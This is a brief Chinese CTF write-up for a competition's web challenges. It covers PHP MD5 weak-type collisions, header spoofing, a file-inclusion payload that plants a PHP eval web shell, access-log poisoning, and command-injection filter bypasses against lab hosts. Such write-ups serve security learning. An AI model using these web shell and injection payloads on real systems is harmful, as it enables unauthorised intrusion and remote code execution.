【网络安全3x06】CTF8月竞赛学习----------技能竞赛 web部分writeup
技能竞赛的writeup。
php弱类型
由于php会把0e....
格式的md5密文当数字0(科学计数法0的n次方依旧为0)来比对,因此会存在不同明文在php中验证md5相同的问题。
常见md5密文验证相同串:
1 | var_dump(md5('240610708') == md5('QNKCDZO')); |
php代码审计
右键源码:
1 | <!-- |
修改源码注释符,eval
改echo
,放在本地跑即可。
http请求头伪造
浏览器伪造
burpsuite截包:
1 | User-Agent: CTF_coffee |
本机IP伪造
burpsuite截包:
1 | X-Forwarded-For:127.0.0.1 |
本机端口伪造
burp做不到了,只能换curl伪造:
1 | curl http://192.167.11.11:8006/ --header 'X-Forwarded-For:127.0.0.1' --header 'User-Agent: CTF_coffee' --local-port 23333 |
login爆破
一般不给用户名的提示都按admin/root来试
文件包含漏洞
文件包含路径反弹shell:
1 | http://192.167.11.11:8802/index.php?file=data://text/plain,<?php @eval($_POST[gt]);?> |
如果被过滤,可以尝试将一句话木马写入到日志里,再对日志进行包含:
先使用burp抓包,改请求为GET <?php @eval($_POST[gt]);?>
,发送即可将一句话木马写入log日志。
之后开启菜刀/蚁剑,访问包含路径http://192.167.11.11:8802/index.php?file=/var/log/apache2/access.log 即可反弹shell。
命令执行绕过
输入框只接收ip地址,回显一个ping的结果,尝试绕过执行其它命令:
- 分隔符:
1 | | || & && ; |
- 查看命令:
1 | cat more head tail tac less |
- 加反斜杠:
1 | cat => \c\a\t |
- 双写绕过:
针对单次过滤
- 写入cat命令绕过
1 | ;>cacatt #写入空文件,双写绕过cat字段过滤 |